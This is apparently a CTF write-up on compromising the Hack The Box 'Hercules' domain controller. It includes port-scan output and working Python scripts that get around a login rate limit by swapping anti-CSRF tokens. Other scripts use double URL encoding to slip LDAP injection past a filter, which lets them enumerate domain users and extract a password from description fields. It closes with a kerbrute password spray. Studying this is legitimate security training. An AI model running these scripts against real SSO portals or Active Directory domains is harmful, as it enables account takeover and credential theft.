RECON
Port Scan
$ rustscan -a $targetIp --ulimit 2000 -r 1-65535 -- -A sS -Pn
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://ip-10-129-246-236.us-west-1.compute.internal/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-10-19 01:44:55Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES/domainComponent=hercules
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after: 2034-12-02T01:34:52
| MD5: 4555:8812:ecf9:9677:afc2:1897:9f20:766b
| SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
| -----BEGIN CERTIFICATE-----
| MIIGBTCCBO2g...
|_ssl-date: TLS randomness does not represent time
443/tcp open ssl/http syn-ack Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Hercules Corp
| ssl-cert: Subject: commonName=hercules.htb
| Subject Alternative Name: DNS:hercules.htb
| Issuer: commonName=hercules.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:56
| Not valid after: 2034-12-04T01:44:56
| MD5: 5f2d:5a1e:ddb2:3380:c69b:f57b:c5dc:3b03
| SHA-1: e7d6:740f:7eb5:4f00:3037:4bf9:6eb6:dad5:ed84:656b
| -----BEGIN CERTIFICATE-----
| MIIDITCCAg...
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Microsoft-IIS/10.0
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES/domainComponent=hercules
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after: 2034-12-02T01:34:52
| MD5: 4555:8812:ecf9:9677:afc2:1897:9f20:766b
| SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
| -----BEGIN CERTIFICATE-----
| MIIGBTCCBO...
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES/domainComponent=hercules
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after: 2034-12-02T01:34:52
| MD5: 4555:8812:ecf9:9677:afc2:1897:9f20:766b
| SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
| -----BEGIN CERTIFICATE-----
| MIIGBTCCBO...
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES/domainComponent=hercules
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after: 2034-12-02T01:34:52
| MD5: 4555:8812:ecf9:9677:afc2:1897:9f20:766b
| SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
| -----BEGIN CERTIFICATE-----
| MIIGBTCCBO2g...
5986/tcp open ssl/http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES/domainComponent=hercules
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after: 2034-12-02T01:34:52
| MD5: 4555:8812:ecf9:9677:afc2:1897:9f20:766b
| SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
| -----BEGIN CERTIFICATE-----
| MIIGBTCCBO2gAwIBA...
| tls-alpn:
|_ http/1.1
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack .NET Message Framing
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49668/tcp open msrpc syn-ack Microsoft Windows RPC
50097/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
50104/tcp open msrpc syn-ack Microsoft Windows RPC
54356/tcp open msrpc syn-ack Microsoft Windows RPC
54369/tcp open msrpc syn-ack Microsoft Windows RPC
54393/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -2s
| smb2-time:
| date: 2025-10-19T01:45:59
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 59986/tcp): CLEAN (Timeout)
| Check 2 (port 29504/tcp): CLEAN (Timeout)
| Check 3 (port 38997/udp): CLEAN (Timeout)
| Check 4 (port 41424/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked- Domain / AD present:
hercules.htb(cert SANs:dc.hercules.htb,hercules.htb,HERCULES). - Many AD endpoints: LDAP (389/636/3268/3269), Kerberos (88), SMB (445), RPC (135 + many dynamic), WinRMS (5986), .NET message framing (9389), plenty of RPC over HTTP endpoints.
- Webservice: IIS on 80/443 showing “Hercules Corp” and a redirect to an internal compute.internal address.
- SMB signing is enabled & required (for relay mitigations).
Web App
Web Probing
A software-development company site with a POST-able "Contact" form:

POST / HTTP/2
Host: hercules.htb
Cookie: __RequestVerificationToken=g3YngYe3Jp-oFN5tIGRyjNvNmu7U5k3XVA1ZNBBCaH8l7br8yelABfZZXdZ32NAyQIP8ZAeivKcID1JsnEJOpg1U-ZgQccwwIzCshDpykd01
Content-Length: 182
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Origin: https://hercules.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://hercules.htb/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
__RequestVerificationToken=vj5tE6yIhElEp9tBAmM7w9ZumSWczRIPFbXdPnblEaThaQDP1NB-zcaPVM1qr3vbmUV7L-SFoC7uhwGs5f12n7q06EtWhaehYNgDG3eMqIE1&Name=aa&Email=aa%40aa.aa&Subject=aaa&Message=aThe __RequestVerificationToken is enforced in two places: the cookie header and the request body — both must match for user access.
Dir Fuzzing
$ dirsearch -u 'https://hercules.htb/' -x 404
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25
Wordlist size: 12266
Target: https://hercules.htb/
[19:13:17] Scanning:
[19:13:44] 403 - 312B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[19:14:24] 301 - 152B - /content -> https://hercules.htb/content/
[19:14:24] 403 - 0B - /content/
[19:14:28] 200 - 27KB - /default
[19:14:40] 302 - 141B - /home -> /Login?ReturnUrl=%2fhome
[19:14:42] 200 - 27KB - /index
[19:14:49] 200 - 3KB - /login
[19:14:49] 200 - 3KB - /login/
[19:15:26] 403 - 473B - /Trace.axd
Task CompletedAn accessible /default and /index, a /home redirect to an SSO login (/Login) page:

Single Sign-On (SSO) means the user accounts are universal available on the all target assets.
User Discovery
We run kerbrute against the domain controller to enumerate valid domain users:
$ kerbrute userenum -d hercules.htb --dc dc.hercules.htb ~/wordlists/seclists/Usernames/top-usernames-shortlist.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 10/19/25 - Ronnie Flathers @ropnop
2025/10/19 01:04:06 > Using KDC(s):
2025/10/19 01:04:06 > dc.hercules.htb:88
2025/10/19 01:04:07 > [+] VALID USERNAME: [email protected]
2025/10/19 01:04:07 > [+] VALID USERNAME: [email protected]
2025/10/19 01:04:08 > Done! Tested 17 usernames (2 valid) in 1.250 secondsThe admin user exists both as the web root account and as an Active Directory domain account — SSO.
WEB
Rate Limit Bypass
The login entry is gated by rate-limiting:

The server uses the cookie __RequestVerificationToken to identify and ban abusive clients:

If a valid verification token in the Cookie is not supplied, the server returns a 500. The other one, an anti-CSRF token, is generated at runtime by front-end JavaScript and injected into the form:
<section id="loginForm">
<form action="/Login" class="form-horizontal" method="post" role="form"><input name="__RequestVerificationToken" type="hidden" value="gy6ik7o7CZHAY9YUHrZE9eBjmodQvBoCYECWa96uujEdiXS7jXrwmkXlbfIt9T-cEeF_tcjY_BK2Mb73vP8oswcZ9gI6TGtaKVNRHbBO4rM1" /> <a class="go-home-click-link" href="/"><img src="/Content/Assets/home-icon-small.png" alt="" /></a>
<h2>Hercules SSO</h2>
<div class="form-group">
<label class="col-md-2 control-label" for="Username">Username</label>
<div class="col-md-10">
<input class="form-control" data-val="true" data-val-regex="Invalid Username" data-val-regex-pattern="^[^!"#&'()*+,\:;<=>?[\]^`{|}~]+$" data-val-required="The Username field is required." id="Username" name="Username" type="text" value="" />
<span class="field-validation-valid text-danger" data-valmsg-for="Username" data-valmsg-replace="true"></span>
</div>
</div>
...The cookie token is set on the initial GET /Login response and is then required to match the form token in the POST body:

By replacing the cookie with a previously banned token while sending a freshly generated form token in the POST body, the ban can be neutralized and the rate limit bypassed:

This behavior lets us craft a simple Python driver that automates the token choreography and drives password attempts against the known admin account:
#!/usr/bin/env python3
# bfsso.py
"""
Bruteforce a username against https://hercules.htb/Login
using token-swap technique
"""
import sys
import requests
from bs4 import BeautifulSoup, ResultSet
from pathlib import Path
from pwn import debug, info, success, warn, log
import urllib3
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)
FORM_TOKEN_NAME = "__RequestVerificationToken"
COOKIE_NAME = "__RequestVerificationToken"
WORDLIST = Path("~/wordlists/rockyou.txt").expanduser()
USERNAME = "admin"
URL = "https://hercules.htb/Login"
REUSE = 6
# Helpers
# ------------------------------------------------------------------------
def parse_form_token(html_text):
"""
Extract the hidden form token value from the login HTML.
Returns token string or None.
"""
soup = BeautifulSoup(html_text, "html.parser")
tok = soup.find("input", {"name": FORM_TOKEN_NAME, "type": "hidden"})
return tok.get("value") if tok else None
def parse_cookie_token(cookiejar):
"""Return token found in Set-Cookie"""
for name, val in cookiejar.items():
if name == COOKIE_NAME:
return val
return None
def is_login_successful(resp, failure_signatures=None):
if failure_signatures is None:
failure_signatures = ["Invalid login attempt",]
body = resp.text.lower()
if not any(sig.lower() in body for sig in failure_signatures):
return True
return False
# Core attack logic
# ------------------------------------------------------------------------
def fetch_tokens(url):
"""Create new session (no pre-existing cookies) GET /Login"""
s = requests.Session()
s.verify = False
headers = {"User-Agent": "Mozilla/5.0"}
r = s.get(url, headers=headers, allow_redirects=True, )
r.raise_for_status()
cookie_tok = parse_cookie_token(r.cookies)
form_tok = parse_form_token(r.text)
return cookie_tok, form_tok
def do_login(url, cookie_tok, form_tok, username, password):
"""Attempt login with with fresh tokens"""
s = requests.Session()
s.verify = False
headers = {"User-Agent": "Mozilla/5.0"}
s.cookies.set(COOKIE_NAME, cookie_tok)
payload = {
FORM_TOKEN_NAME: form_tok,
"Username": username,
"Password": password,
"RememberMe": "true"
}
resp = s.post(url, data=payload, headers=headers, allow_redirects=False)
return resp
# Utils
# ------------------------------------------------------------------------
def gen_passwords(file_path):
with open(file_path, "r", encoding="utf-8", errors="ignore") as f:
for l in f:
pw = l.rstrip("\n")
if pw:
yield pw
# Pipeline
# ------------------------------------------------------------------------
if __name__ == "__main__":
count = 0
reuse_left = 0
bar = log.progress("Bruteforcing: ")
for password in gen_passwords(WORDLIST):
bar.status(password)
count += 1
if reuse_left <= 0:
# A -> get server cookie token + form token
try:
cookie_tok, form_tok = fetch_tokens(URL)
except requests.RequestException as e:
warn(f"fetch_tokens error: {e}")
sys.exit(111)
if not form_tok:
warn("no form token from new session; possible rate-limit.")
sys.exit(222)
reuse_left = REUSE
# B -> use cookie_tok and form_tok for single POST
try:
resp = do_login(URL, cookie_tok, form_tok, USERNAME, password)
# info(f"resp.status={resp.status_code}")
# print(resp.text)
except requests.RequestException as e:
warn(f"do_login error: {e}")
continue
reuse_left -= 1
if is_login_successful(resp):
bar.success("POSSIBLE HIT")
print(f" {USERNAME}:{password}")
print(f" status: {resp.status_code}")
break
print("[-] No match found")It takes far longer than five minutes to reach the CTF's intended path:

I let the driver run while observing an odd client-side regex that validates usernames — a check that typically belongs on the server. Although the brute-force driver did not produce a definitive result during this run, its token choreography and orchestration remain a useful baseline template for further interaction with the web application.
LDAP Injection
Double-Encoding Bypass
That HTML snippet from the login form implements a regex validation at the frontend for the Username field:

Raw (HTML-escaped) pattern:
^[^!"#&'()*+,\:;<=>?[\]^`{|}~]+$Decoded to a real regex:
^[^!"#&'()*+,:;<=>?[\]\^`{|}~\\]+$^…$→ the whole value must match.[^ … ]+→ one or more characters not in this disallowed set.
Meaning: the entire username must consist of one or more characters not in this disallowed set:
! " # & ' ( ) * + , : ; < = > ? [ ] ^ \ ` { | } ~This looks like a blunt anti-injection filter. The interesting bit: the client leaks the policy and the backend mirrors it. A naive test with a single quote (') is rejected by the server (filtered):

But when I double-URL-encode the payload (pressing Ctrl+U then submitting an encoded %25 sequence), the server stops returning the "invalid username" error:

The server appears to perform one layer of URL-decoding before applying the blacklist. A recursive decode path — where %25 → % → the forbidden character — slips past the single-pass filter. That gap strongly suggests a filter-then-decode flaw, which is commonly exploitable for injection (SQL/LDAP) when coupled with downstream interpretation.
Short conclusion: frontend regex + single-pass backend filter + recursive decoding => filtering flaw that highly implies injection potential.
Anonymous Probing
MSSQL wasn't exposed in the TCP scan, so the directory (LDAP) is a plausible authoritative source for user data. AD typically supplies identities to the web app; if LDAP allows anonymous binds/searches we can enumerate users and attributes without creds.
Perform canonical checks with ldapsearch / ldapwhoami:
$ ldapsearch -x -H ldap://hercules.htb:389 -s base -b "" "(objectClass=*)" namingContexts
# extended LDIF
#
# LDAPv3
# base <> with scope baseObject
# filter: (objectClass=*)
# requesting: namingContexts
#
#
dn:
namingContexts: DC=hercules,DC=htb
namingContexts: CN=Configuration,DC=hercules,DC=htb
namingContexts: CN=Schema,CN=Configuration,DC=hercules,DC=htb
namingContexts: DC=DomainDnsZones,DC=hercules,DC=htb
namingContexts: DC=ForestDnsZones,DC=hercules,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
$ ldapwhoami -x -H ldap://hercules.htb:389
$ ldapsearch -x -H ldap://hercules.htb:389 -D "" -w "" -b "DC=hercules,DC=htb" "(objectClass=person)" cn sAMAccountName mail -z 50 -LLL
Operations error (1)
Additional information: 000004DC: LdapErr: DSID-0C090D10, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7cWe found the namingContexts (DC=hercules,DC=htb) is readable anonymously (that's normal). But anonymous searches are blocked — ldapwhoami returned nothing and ldapsearch against DC=hercules,DC=htb failed with “In order to perform this operation a successful bind must be completed”.
So we cannot enumerate the directory directly with anonymous LDAP. That leaves two realistic paths:
- Authenticate (but we own no credential).
- Abuse the web app (SSO) to make it perform LDAP queries for us.
Blind Injection Identifiers
By leveraging the double-encoding bypass primitive, we can smuggle LDAP filter metacharacters so the back end receives a decoded payload containing wildcards and logical operators. The login page, however, does not reveal query results outright — this is a blind surface. We must therefore infer backend behavior from subtle, distinct responses.
As we already knew, a single * injection is treated as a valid query: the server returns "Login attempt failed" for wrong credentials, which also signals a valid username format. A classic true/false probe using admin*)(description=*) — which should match whenever description exists — returned a blank response without a message:

That was unexpected: we know user admin exists, so the filter should evaluate true. Time to apply classic injection reconnaissance: tweak the payload to reveal the query syntax the backend uses. Removing the right bracket produces admin*)(description=*, which restored the "Login attempt failed" indicator:

The query executed and the existing user admin failed authentication with a random password x. From this we infer the application wraps our input in (...); dropping the trailing ) lets the injected clause execute (see PayloadAllTheThings for reference).
Testing with a non-existent user such as axura — or its double-URL-encoded wildcard variant axura%252A — produces a different response: Invalid login attempt:


They look similar at a glance, but they're distinct. These two response identifiers let us reliably fingerprint user existence — the LDAP Wildcard Search Attack pattern discussed in the Ghost writeup.
Username Enumeration
Having identified the distinct response fingerprints, we adapt the previously developed Python script to apply the double-URL-encoding primitive to blacklisted characters. For Windows SSO (domain) username enumeration we brute-force likely usernames using alphanumerics and separators such as . or space.
The simple Python script — which encapsulates the token-swap bypass into a TokenManager class, which aims to speed up by reusing each token around 6~7 times before ban:
#!/usr/bin/env python3
# enum_usernames.py
import sys
from urllib.parse import quote
import requests
import urllib3
import string
from bs4 import BeautifulSoup
from pwn import log
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)
URL = "https://hercules.htb/Login"
PASSWORD = "wrongPassword"
TOKEN_NAME = "__RequestVerificationToken"
SUCCESS_MSG = "Login attempt failed"
FAILURE_SIG = "Invalid login attempt"
BANNED = set(list(r'!"#&\'()*+,:;<=>?[]\^`{|}~'))
class TokenManager:
"""
Fetch new tokens for requests to bypass rate limit
One single token can be used around 6~7 times
"""
def __init__(self, max_uses=6):
self.max_uses = int(max_uses)
self._cookie_tok = None
self._form_tok = None
self._uses = 0
def _fetch_tokens(self):
"""
Session A: GET /Login, return (cookie_token, form_token).
"""
s = requests.Session()
s.verify = False
headers = {"User-Agent": "Mozilla/5.0"}
r = s.get(URL, headers=headers, allow_redirects=True, timeout=8)
cookie_tok = s.cookies.get(TOKEN_NAME)
soup = BeautifulSoup(r.text, "html.parser")
inp = soup.find("input", {"name": TOKEN_NAME, "type": "hidden"})
form_tok = inp.get("value") if inp else None
return cookie_tok, form_tok
def _do_login(self, username: str, cookie_tok: str, form_tok: str):
"""
Session B: new session, set cookie value and submit form token + username.
"""
s = requests.Session()
s.verify = False
headers = {"User-Agent": "Mozilla/5.0", "Referer": URL}
if cookie_tok:
s.cookies.set(TOKEN_NAME, cookie_tok)
data = {
TOKEN_NAME: form_tok or "",
"Username": username,
"Password": PASSWORD,
"RememberMe": "false"
}
return s.post(URL, data=data, headers=headers, allow_redirects=False, timeout=8)
def refresh(self):
"""
Force-fetch fresh cookie + token.
"""
cookie_tok, form_tok = self._fetch_tokens()
self._cookie_tok = cookie_tok
self._form_tok = form_tok
self._uses = 0
return self._cookie_tok, self._form_tok
def send(self, payload):
"""
Use cached token to POST payload in username field; refresh after max_uses.
"""
if self._uses >= self.max_uses or (self._form_tok is None and self._cookie_tok is None):
self.refresh()
resp = self._do_login(payload, self._cookie_tok, self._form_tok)
self._uses += 1
return resp
def encode(s: str) -> str:
"""
URL encode blacklisted chars to bypass check.
They will all be encoded again via requests.post.
"""
out = []
for c in s:
if c in BANNED:
enc = quote(c, safe="")
out.append(enc)
else:
out.append(c)
return "".join(out)
def is_success(resp):
"""
TRUE when our LDAP predicate matched
"Login attempt failed": user exists, wrong pass
"""
body = resp.text or ""
return SUCCESS_MSG.lower() in body.lower()
def enum_usernames():
"""
LDAP wildcard search attack:
https://4xura.com/writeups-for-ctfs/htb/htb-writeup-ghost/#toc-head-7
DFS prefix expansion for usernames matching grammar: first[.last]
- first: [a-z]+
- optional single dot (not first/last)
- last: [a-z]+
We probe "<prefix>*"; if it matches, dive deeper
"""
letters = string.ascii_lowercase
def _next_chars(prefix: str):
"""Allowed next chars under first[.last] grammar."""
has_dot = '.' in prefix
if not prefix:
return letters # first char: letters only
if not has_dot:
# allow letters always; allow '.' only if last char is a letter
return letters + ('.' if prefix[-1].isalpha() else '')
# after a dot, only letters; forbid a second dot
return letters
tm = TokenManager(max_uses=6)
bar_main = log.progress("DFS ENUMERATION")
bar_try = log.progress("TRYING ")
completed = []
visited = set()
queue = [c for c in letters]
while queue:
prefix = queue.pop(0)
if prefix in visited:
continue
visited.add(prefix)
payload = f"{prefix}*"
enc = encode(payload)
bar_try.status(f"'{prefix}' -> {payload} -> {enc}")
try:
resp = tm.send(enc)
except Exception as e:
log.failure(f"POST error for '{prefix}': {e}")
continue
if not is_success(resp):
continue # this prefix doesn't exist
# prefix exists → probe children and go **depth-first**
has_child = False
dbg = log.progress("[debug], PREFIX {} has child".format(prefix))
for ch in _next_chars(prefix):
child = prefix + ch
child_payload = f"{child}*"
child_enc = encode(child_payload)
dbg.status(f"PROBING '{child}' -> {child_payload} -> {child_enc}")
try:
child_resp = tm.send(child_enc)
except Exception as e:
# keep probing other children
continue
if is_success(child_resp):
has_child = True
# DFS: process this child now
queue.insert(0, child)
log.info(f"enqueue child: {child}")
if not has_child:
# cannot extend → full username discovered
completed.append(prefix)
log.success(f"FOUND username: {prefix}")
bar_main.success("done")
if completed:
with open("users.txt", "w", encoding="utf-8", errors="ignore") as f:
for u in completed:
f.write(u + "\n")
log.success("Completed usernames found and saved to users.txt")
else:
log.failure("No completed usernames discovered")
return completed
if __name__ == "__main__":
enum_usernames()The script's inline annotations explain the implementation; here's the run output after enumeration:

Found usernames saved to users.txt:
$ tail users.txt -n20
ken.w
mark.s
mikayla.a
natalie.a
nate.h
patrick.s
ramona.l
ray.n
rene.s
shae.j
stephanie.w
stephen.m
tanya.r
taylor.m
tish.c
vincent.g
web_admin
will.s
winda.s
zeke.sUsing the LDAP Wildcard Search Attack against the app's SSO username lookup, we enumerated valid domain users the web app accepts. The application builds an LDAP filter directly from the Username form value without proper canonical escaping, so payloads like admin*)(description=* can pivot the filter logic and cause the server to return a valid-user / wrong-password response for existing accounts — the classic Side-Channel Attack Oracle.
Side Channel Oracle Attack
After harvesting valid logins — including interesting accounts like web_admin — we leveraged the description attribute as a second oracle to extract account metadata.
By closing the filter early and injecting a sibling clause, the LDAP search can be coerced to match entries that would normally be excluded. Example raw injection:
web_admin*)(description=*When the server evaluates the constructed filter, that payload alters the logical expression so it matches additional entries. The application distinguishes "Invalid login attempt" from "Login attempt failed"; that difference becomes our oracle for enumerating description values. In this case the web_admin account returns no description data:

Copy most definitions from the enum_usernames.py script used during brute force. Replace the enum_usernames() routine with a function that probes the description attribute instead — same token-swap / double-encoding plumbing, different target field.
Be mindful of a classic ambiguity: LDAP special characters such as
*serve two roles — the LDAP wildcard (which we need at the end of the probe) and a literal character that may appear insidedescription. If a description contains*, we must send it as an escaped literal (\2a) per RFC4515 so the server doesn't interpret it as the wildcard we depend on.
Build probes this way:
- RFC4515-escape the exfiltrated
teststring (escape*,(,),\, NUL). - Construct the raw LDAP filter fragment as:
username*)(description=<RFC4515-escaped-test>*— note the trailing*is the LDAP wildcard and must remain unescaped. - Reuse the same request/response classification logic from the username enumerator.
Final tuned exploit:
#!/usr/bin/env python3
# enum_description.py
import sys
from urllib.parse import quote
import requests
import urllib3
import string
from pathlib import Path
from bs4 import BeautifulSoup
from pwn import log
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)
URL = "https://hercules.htb/Login"
PASSWORD = "wrongPassword"
TOKEN_NAME = "__RequestVerificationToken"
SUCCESS_MSG = "Login attempt failed"
FAILURE_SIG = "Invalid login attempt"
BANNED = set(list(r'!"#&\'()*+,:;<=>?[]\^`{|}~'))
USERS_TXT = Path("./users.txt")
class TokenManager:
"""
Fetch new tokens for requests to bypass rate limit
One single token can be used around 6~7 times
"""
def __init__(self, max_uses=6):
self.max_uses = int(max_uses)
self._cookie_tok = None
self._form_tok = None
self._uses = 0
def _fetch_tokens(self):
"""
Session A: GET /Login, return (cookie_token, form_token).
"""
s = requests.Session()
s.verify = False
headers = {"User-Agent": "Mozilla/5.0"}
r = s.get(URL, headers=headers, allow_redirects=True, timeout=8)
cookie_tok = s.cookies.get(TOKEN_NAME)
soup = BeautifulSoup(r.text, "html.parser")
inp = soup.find("input", {"name": TOKEN_NAME, "type": "hidden"})
form_tok = inp.get("value") if inp else None
return cookie_tok, form_tok
def _do_login(self, username: str, cookie_tok: str, form_tok: str):
"""
Session B: new session, set cookie value and submit form token + username.
"""
s = requests.Session()
s.verify = False
headers = {"User-Agent": "Mozilla/5.0", "Referer": URL}
if cookie_tok:
s.cookies.set(TOKEN_NAME, cookie_tok)
data = {
TOKEN_NAME: form_tok or "",
"Username": username,
"Password": PASSWORD,
"RememberMe": "false"
}
return s.post(URL, data=data, headers=headers, allow_redirects=False, timeout=8)
def refresh(self):
"""
Force-fetch fresh cookie + token.
"""
cookie_tok, form_tok = self._fetch_tokens()
self._cookie_tok = cookie_tok
self._form_tok = form_tok
self._uses = 0
return self._cookie_tok, self._form_tok
def send(self, payload):
"""
Use cached token to POST payload in username field; refresh after max_uses.
"""
if self._uses >= self.max_uses or (self._form_tok is None and self._cookie_tok is None):
self.refresh()
resp = self._do_login(payload, self._cookie_tok, self._form_tok)
self._uses += 1
return resp
def encode(s: str) -> str:
"""
URL encode blacklisted chars to bypass check.
They will all be encoded again via requests.post.
"""
out = []
for c in s:
if c in BANNED:
enc = quote(c, safe="")
out.append(enc)
else:
out.append(c)
return "".join(out)
def is_success(resp):
"""
TRUE when our LDAP predicate matched
"Login attempt failed": user exists, wrong pass
"""
body = resp.text or ""
return SUCCESS_MSG.lower() in body.lower()
from urllib.parse import quote
def _ldap_escape_rfc4515(s: str) -> str:
"""
Escape user-controlled text for LDAP filter usage (RFC4515).
"""
out = []
for ch in s:
if ch == '*':
out.append(r'\2a')
elif ch == '(':
out.append(r'\28')
elif ch == ')':
out.append(r'\29')
elif ch == '\\':
out.append(r'\5c')
elif ch == '\x00':
out.append(r'\00')
else:
out.append(ch)
return ''.join(out)
def _build_payload(username: str, description_payload: str = None) -> str:
"""
Build the Username form value that probes description.
- description_payload: the candidate prefix to test (unescaped)
"""
if description_payload is None:
pl = f"{username}*)(description=*"
else:
escaped = _ldap_escape_rfc4515(description_payload)
# trailing '*' is LDAP wildcard and must remain literal wildcard in the filter
pl = f"{username}*)(description={escaped}*"
return encode(pl)
def enum_descriptions(users_file: Path):
"""
Enumerate 'description' for one username using TokenManager tm.
Returns discovered description string or None.
"""
tm = TokenManager(max_uses=6)
charset = string.printable
results = {}
with open(users_file, "r", encoding="utf-8") as f:
users = [u.strip() for u in f if u.strip()]
for user in users:
log.info(f"Checking user: {user}")
# check if description exists (probe with no prefix)
probe0 = _build_payload(user, None)
resp = tm.send(probe0)
if not is_success(resp):
log.failure(f"No description for {user}")
continue
desc = ""
log.success(f"{user} has description, enumerating...")
for i in range(50):
found = False
for ch in charset:
test = desc + ch
probe = _build_payload(user, test)
resp = tm.send(probe)
if is_success(resp):
desc = test
log.info(f" {user}: {desc}")
found = True
break
if not found:
break
if desc:
results[user] = desc
log.success(f"FOUND {user}:{desc}")
with open("passwords.txt", "a", encoding="utf-8") as out:
out.write(f"{user}:{desc}\n")
else:
log.failure(f"No content extracted for {user}")
return results
if __name__ == "__main__":
enum_descriptions(USERS_TXT) Run:

Outcome: johnathan.j exposes a description value that appears to contain a password: change*th1s_p@ssw()rd!!. The credential no longer authenticates.
Password Spray
A classic follow-up: spray the harvested credential against the user list with kerbrute:
kerbrute passwordspray -d 'hercules.htb' --dc 'dc.hercules.htb' users.txt 'change*th1s_p@ssw()rd!!' -vJackpot:

james.s and taylor.m get locked out, and the password succeeds for ken.w. Kerberos authentication (NTLM disabled) behaves as expected:
$ nxc smb hercules.htb -u ken.w -p 'change*th1s_p@ssw()rd!!'
SMB 10.129.13.42 445 dc [*] x64 (name:dc) (domain:hercules.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB 10.129.13.42 445 dc [-] hercules.htb\ken.w:change*th1s_p@ssw()rd!! STATUS_NOT_SUPPORTED
